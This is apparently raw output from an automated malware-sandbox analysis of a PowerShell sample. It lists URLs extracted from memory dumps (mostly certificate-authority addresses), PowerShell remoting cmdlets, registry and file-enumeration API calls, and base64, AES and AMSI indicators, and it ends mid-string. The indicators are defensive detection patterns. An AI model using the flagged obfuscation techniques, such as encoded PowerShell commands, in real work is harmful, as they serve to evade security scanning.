"http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003412.00000000.152666.69850000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003412.00000000.152666.69850000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>g:i'" - Source: "00000000-00003412.00000001.152819.66EA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yjsystem.xmlra" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e4607k!.i'+" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;k!.i'+" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0p:/i'0e0i'" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l;k6i'ok6i'ck6i'wk6i'k6i'k6i'k6i'k6i'k6i'k6i'l6i'l6i'+l6i'?l6i'sl6i'gl6i'" - Source: "00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>p" - Source: "00000000-00003412.00000001.152819.6939E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003412.00000001.152819.6939E000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003412.00000001.152819.69950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003412.00000001.152819.699AF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003412.00000001.152819.699AF000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcthawte," - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ek" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;verisign" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl00^)qzrerisspi*qourcesources0d.qourcespr*q" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuu0" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp") Found URL "http://www.microsoft.com/windows4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005344.00000000.153153.51750000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005344.00000000.153153.51750000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005344.00000000.153153.51750000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005344.00000000.153153.64592000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005344.00000001.154706.49E18000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005344.00000001.154706.49E18000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005344.00000001.154706.49E18000.00000002.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ek" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;verisign" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl00^)qzrerisspi*qourcesources0d.qourcesuel" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuu0" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005344.00000001.154706.51270000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdataindows" - Source: "00000000-00005344.00000001.154706.51750000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005344.00000001.154706.51750000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005344.00000001.154706.51750000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005344.00000001.154706.51750000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f" - Source: "00000000-00005344.00000001.154706.51850000.00000004.mdmp")49:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp")4a:T623,Found registry query API: "RegQueryValueExW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00003052.00000000.152334.416EF000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp"4b:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003412) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00003412) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00003412) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00003412) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00003412) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00003412) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00003412) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00003412)4c:T1a85,file/memory contains long string with (Indicator: "base64"; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") file/memory contains long string with (Indicator: "FromBase64String"; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") file/memory contains long string with (Indicator: "aes"; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") file/memory contains long string with (Indicator: "rsa2"; File: "d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp, 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000000.152666.67050000.00000004.mdmp, 00000000-00003412.00000000.152666.68900000.00000004.mdmp, 00000000-00003412.00000000.152666.692D0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.67050000.00000004.mdmp, 00000000-00003412.00000001.152819.68900000.00000004.mdmp, 00000000-00003412.00000001.152819.6939E000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp, 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000000.152666.67050000.00000004.mdmp, 00000000-00003412.00000000.152666.68900000.00000004.mdmp, 00000000-00003412.00000000.152666.692D0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.67050000.00000004.mdmp, 00000000-00003412.00000001.152819.68900000.00000004.mdmp, 00000000-00003412.00000001.152819.6939E000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "[-WindowStyle